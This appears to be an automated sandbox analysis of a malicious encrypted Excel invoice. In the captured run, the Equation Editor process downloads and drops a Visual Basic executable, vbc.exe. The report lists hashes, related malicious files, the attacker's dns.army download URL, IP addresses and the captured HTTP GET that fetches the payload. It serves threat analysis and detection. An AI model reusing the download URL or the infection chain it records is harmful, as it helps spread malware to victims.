	Sales Contract_20210113.xlsx	Get hash	malicious	Browse	103.141.138.125
	Inquiry PR11020204168.xlsx	Get hash	malicious	Browse	103.141.138.133
	inv2345.xlsx	Get hash	malicious	Browse	103.141.138.128
	PAYMENT ADVICE 20210120TTSWFT.xlsx	Get hash	malicious	Browse	103.141.138.121
	PE20-RQ- 1638.xlsx	Get hash	malicious	Browse	103.140.251.164
	Payment list.xlsx	Get hash	malicious	Browse	103.141.138.127
	inquiry PR11020204168.xlsx	Get hash	malicious	Browse	103.141.138.133
	Purchase Order 45584.xlsx	Get hash	malicious	Browse	103.125.191.78
	Thevie.xlsx	Get hash	malicious	Browse	103.141.138.128
	ETD101210182 HBL.xlsx	Get hash	malicious	Browse	103.141.138.132
	Purchase Order 02556.xlsx	Get hash	malicious	Browse	103.125.191.78

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	98304
Entropy (8bit):	6.441995489867964
Encrypted:	false
SSDEEP:	1536:VMmOBBPTp3C7uIaILxhhn3JbPMfIxvktHFoDZNDA87itMmO:CmAJTpSkUbaf+vktHClND7iqm
MD5:	3421EBB45A538C5044D484703448F2A7
SHA1:	15766BFDBD612D174EE233DCE4D466880728F8F3
SHA-256:	8D2F6B5AF6DEE6568C8D9F58A3A618B47964BEF00531F15063ED2E289D7E2ABF
SHA-512:	0C3ACFA2D31E81AF396EBB179C38BB883430A7955AD10081FACD0C7EA9066F51E00BFBB6A612262526CB588368A9B9D825F2288F617242C4490D7C22D19C7903
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 10%, Browse
Reputation:	low
IE Cache URL:	http://kalamikwsdyonlinwtmg.dns.army/kaladoc/vbc.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........I...................................Rich............................PE..L.....%U.................@...@......d........P....@.........................................................................4I..(....p..&...................................................................8... ....................................text....>.......@.................. ..`.data...h....P.......P..............@....rsrc...&....p... ...`..............@..@...I............MSVBVM60.DLL....................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\45EE6A89.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	910720
Entropy (8bit):	5.196322083411459
Encrypted:	false
SSDEEP:	6144:KsKbuaQVuLEdgMZdxIDn3Z6dsLOo0C+roioMl:VKbutpdgsdq3USeCd9k
MD5:	EB4C483C238215A000D20DE1E677A79E
SHA1:	D4C9212A29122310C67E2363C17064D127AA1273
SHA-256:	7C51C310DD9F393B6B316CEB7ECA04D0DC1754EDF99D05DE0930CE42338562F2
SHA-512:	0B57748D723D3231FD2E06C2B790F363E5E2A006008A8AD4B31755659ED280F6484CC5139FA3C9EBDAAF9BD919939A45A2A67C6F331CA9F41844B482E4CD02A1
Malicious:	false
Reputation:	low
Preview:	....l...........S................@...+.. EMF........(...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..............................................I...N...%...........%...................................R...p................................@."C.a.l.i.b.r.i.......................................................0................NzS................x....NzS........ ....y.P........ ............z.P............................................X...%...7...................{ .@................C.a.l.i.b.r............. ...X............2.P.................{.P....$.......dv......%...........%...........%...........!.......................I...N..."...........%...........%...........%...........T...T..........................@.E.@T...........L...............I...N...P... ...6...F...$.......EMF+@..$..........?...........?.........@...........@..........@..$..........?....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\75BEF67F.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F2EEFEF6.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\Desktop\~$PL_Proforma Invoice.xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	6.441995489867964
Encrypted:	false
SSDEEP:	1536:VMmOBBPTp3C7uIaILxhhn3JbPMfIxvktHFoDZNDA87itMmO:CmAJTpSkUbaf+vktHClND7iqm
MD5:	3421EBB45A538C5044D484703448F2A7
SHA1:	15766BFDBD612D174EE233DCE4D466880728F8F3
SHA-256:	8D2F6B5AF6DEE6568C8D9F58A3A618B47964BEF00531F15063ED2E289D7E2ABF
SHA-512:	0C3ACFA2D31E81AF396EBB179C38BB883430A7955AD10081FACD0C7EA9066F51E00BFBB6A612262526CB588368A9B9D825F2288F617242C4490D7C22D19C7903
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 10%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........I...................................Rich............................PE..L.....%U.................@...@......d........P....@.........................................................................4I..(....p..&...................................................................8... ....................................text....>.......@.................. ..`.data...h....P.......P..............@....rsrc...&....p... ...`..............@..@...I............MSVBVM60.DLL....................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	CDFV2 Encrypted
Entropy (8bit):	7.996721540452697
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	PL_Proforma Invoice.xlsx
File size:	2516480
MD5:	07518e9ef3f985d592423d9c60c5c895
SHA1:	973721e65ade599942b6a166fedf17d0ccc7feb6
SHA256:	16ccda8530923cd7a4c92d8f2cfbb89c99c476c928e5af6e8248374e24a09f60
SHA512:	e69524a4826f3b9d0ee1d6fc912b581a3b6e4726673fd0862ced88fae6d7a6982972b14b679ac1c908712c79db3253ce71ab84244645843efcfd8670d2292a62
SSDEEP:	49152:zg74FxUyP7FRn1ALaMbX8DZzXKk97Cj1ePMniwInYear39OV:s7g7r1Av8dGgOZePRYlr3m
File Content Preview:	........................>...................'...................................................................................\|.......~...............z.......\|.......~...............z.......\|.......~...............z.......\|..............................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "PL_Proforma Invoice.xlsx"

Indicators
Has Summary Info:	False
Application Name:	unknown
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	False

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General
Stream Path:	\x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace
File Type:	data
Stream Size:	64
Entropy:	2.73637206947
Base64 Encoded:	False
Data ASCII:	. . . . . . . . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . .
Data Raw:	08 00 00 00 01 00 00 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 54 00 72 00 61 00 6e 00 73 00 66 00 6f 00 72 00 6d 00 00 00

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General
Stream Path:	\x6DataSpaces/DataSpaceMap
File Type:	data
Stream Size:	112
Entropy:	2.7597816111
Base64 Encoded:	False
Data ASCII:	. . . . . . . . h . . . . . . . . . . . . . . E . n . c . r . y . p . t . e . d . P . a . c . k . a . g . e . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . D . a . t . a . S . p . a . c . e . . .
Data Raw:	08 00 00 00 01 00 00 00 68 00 00 00 01 00 00 00 00 00 00 00 20 00 00 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 50 00 61 00 63 00 6b 00 61 00 67 00 65 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 00 00

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General
Stream Path:	\x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary
File Type:	data
Stream Size:	200
Entropy:	3.13335930328
Base64 Encoded:	False
Data ASCII:	X . . . . . . . L . . . { . F . F . 9 . A . 3 . F . 0 . 3 . - . 5 . 6 . E . F . - . 4 . 6 . 1 . 3 . - . B . D . D . 5 . - . 5 . A . 4 . 1 . C . 1 . D . 0 . 7 . 2 . 4 . 6 . } . N . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	58 00 00 00 01 00 00 00 4c 00 00 00 7b 00 46 00 46 00 39 00 41 00 33 00 46 00 30 00 33 00 2d 00 35 00 36 00 45 00 46 00 2d 00 34 00 36 00 31 00 33 00 2d 00 42 00 44 00 44 00 35 00 2d 00 35 00 41 00 34 00 31 00 43 00 31 00 44 00 30 00 37 00 32 00 34 00 36 00 7d 00 4e 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General
Stream Path:	\x6DataSpaces/Version
File Type:	data
Stream Size:	76
Entropy:	2.79079600998
Base64 Encoded:	False
Data ASCII:	< . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . D . a . t . a . S . p . a . c . e . s . . . . . . . . . . . . .
Data Raw:	3c 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 2e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 73 00 01 00 00 00 01 00 00 00 01 00 00 00

Stream Path: EncryptedPackage, File Type: Applesoft BASIC program data, first line number 38, Stream Size: 2492568

General
Stream Path:	EncryptedPackage
File Type:	Applesoft BASIC program data, first line number 38
Stream Size:	2492568
Entropy:	7.99992498331
Base64 Encoded:	True
Data ASCII:	. . & . . . . . L . p . @ . . . @ . . . . ^ e . ^ . d . . N . . . . 3 . . , S . . x 2 . . 9 . . u . . . . . . . ] . . e ~ . . ] k . k H } . . . w ( a . . . z . . . . m . . . ` w ( a . . . z . . . . m . . . ` w ( a . . . z . . . . m . . . ` w ( a . . . z . . . . m . . . ` w ( a . . . z . . . . m . . . ` w ( a . . . z . . . . m . . . ` w ( a . . . z . . . . m . . . ` w ( a . . . z . . . . m . . . ` w ( a . . . z . . . . m . . . ` w ( a . . . z . . . . m . . . ` w ( a . . . z . . . . m . . . ` w ( a . . . z .
Data Raw:	8f 08 26 00 00 00 00 00 4c 8c 70 ad 40 1e 06 7f 40 0c ea 82 91 5e 65 d6 5e d0 64 d1 c5 4e 8e f8 f7 d4 33 eb 92 2c 53 af 0f 78 32 d2 e9 39 98 ec 75 a7 b2 e2 14 a9 93 d2 5d e0 9c 65 7e bb ec 5d 6b b3 6b 48 7d d4 a8 f3 77 28 61 0a 92 13 7a c6 d4 cd 83 6d d8 17 81 60 77 28 61 0a 92 13 7a c6 d4 cd 83 6d d8 17 81 60 77 28 61 0a 92 13 7a c6 d4 cd 83 6d d8 17 81 60 77 28 61 0a 92 13 7a c6

Stream Path: EncryptionInfo, File Type: data, Stream Size: 224

General
Stream Path:	EncryptionInfo
File Type:	data
Stream Size:	224
Entropy:	4.44382109615
Base64 Encoded:	False
Data ASCII:	. . . . $ . . . . . . . $ . . . . . . . . f . . . . . . . . . . . . . . . . . . . . . . M . i . c . r . o . s . o . f . t . . E . n . h . a . n . c . e . d . . R . S . A . . a . n . d . . A . E . S . . C . r . y . p . t . o . g . r . a . p . h . i . c . . P . r . o . v . i . d . e . r . . . . . . . . . . . . . . - . . . w . . . . . v . . ) . $ . . . . . C . * . . . . . . . . . . . . . . \| . . G . . ) . . i & c o . . . . . . R o .
Data Raw:	04 00 02 00 24 00 00 00 8c 00 00 00 24 00 00 00 00 00 00 00 0e 66 00 00 04 80 00 00 80 00 00 00 18 00 00 00 00 00 00 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 45 00 6e 00 68 00 61 00 6e 00 63 00 65 00 64 00 20 00 52 00 53 00 41 00 20 00 61 00 6e 00 64 00 20 00 41 00 45 00 53 00 20 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00 72 00 61 00 70 00 68 00

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 21, 2021 18:59:21.048541069 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.279385090 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.279587984 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.279973030 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.511044025 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.511095047 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.511147976 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.511188984 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.511264086 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.511292934 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.741636992 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.741672039 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.741693020 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.741714954 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.741736889 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.741756916 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.741779089 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.741805077 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.741830111 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.741873980 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.741887093 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972043991 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972244978 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972273111 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972289085 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972313881 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972327948 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972345114 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972367048 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972373962 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972403049 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972418070 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972440958 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972451925 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972476959 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972491980 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972523928 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972532034 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972568035 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972584009 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972604036 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972615004 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972642899 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972657919 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972678900 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972691059 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972714901 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972733021 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972753048 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972759962 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972790003 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:21.972806931 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.972853899 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:21.975438118 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203119993 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203155994 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203172922 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203192949 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203213930 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203214884 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203233004 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203234911 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203238010 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203258038 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203282118 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203282118 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203298092 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203301907 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203315020 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203313112 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203335047 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203336954 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203352928 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203360081 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203372002 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203372002 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203388929 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203404903 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203413010 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203438044 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203447104 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203453064 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203466892 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203471899 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203485012 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203495026 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203500986 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203510046 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203526974 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203535080 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203545094 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203550100 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203569889 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203587055 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203598976 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203613997 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203629971 CET	80	49165	103.125.191.78	192.168.2.22
Jan 21, 2021 18:59:22.203661919 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203677893 CET	49165	80	192.168.2.22	103.125.191.78
Jan 21, 2021 18:59:22.203733921 CET	80	49165	103.125.191.78	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 21, 2021 18:59:20.855827093 CET	52197	53	192.168.2.22	8.8.8.8
Jan 21, 2021 18:59:20.934798002 CET	53	52197	8.8.8.8	192.168.2.22
Jan 21, 2021 18:59:20.935178041 CET	52197	53	192.168.2.22	8.8.8.8
Jan 21, 2021 18:59:21.034998894 CET	53	52197	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 21, 2021 18:59:20.855827093 CET	192.168.2.22	8.8.8.8	0xa275	Standard query (0)	kalamikwsdyonlinwtmg.dns.army	A (IP address)	IN (0x0001)
Jan 21, 2021 18:59:20.935178041 CET	192.168.2.22	8.8.8.8	0xa275	Standard query (0)	kalamikwsdyonlinwtmg.dns.army	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 21, 2021 18:59:20.934798002 CET	8.8.8.8	192.168.2.22	0xa275	No error (0)	kalamikwsdyonlinwtmg.dns.army		103.125.191.78	A (IP address)	IN (0x0001)
Jan 21, 2021 18:59:21.034998894 CET	8.8.8.8	192.168.2.22	0xa275	No error (0)	kalamikwsdyonlinwtmg.dns.army		103.125.191.78	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

kalamikwsdyonlinwtmg.dns.army

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	103.125.191.78	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 21, 2021 18:59:21.279973030 CET	0	OUT	GET /kaladoc/vbc.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: kalamikwsdyonlinwtmg.dns.army Connection: Keep-Alive
Jan 21, 2021 18:59:21.511044025 CET	2	IN	HTTP/1.1 200 OK Date: Thu, 21 Jan 2021 17:59:17 GMT Server: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/5.6.38 Last-Modified: Thu, 21 Jan 2021 09:21:44 GMT ETag: "18000-5b96599a963e0" Accept-Ranges: bytes Content-Length: 98304 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d7 c8 c4 49 93 a9 aa 1a 93 a9 aa 1a 93 a9 aa 1a 10 b5 a4 1a 92 a9 aa 1a dc 8b a3 1a 9f a9 aa 1a a5 8f a7 1a 92 a9 aa 1a 52 69 63 68 93 a9 aa 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 86 1d 25 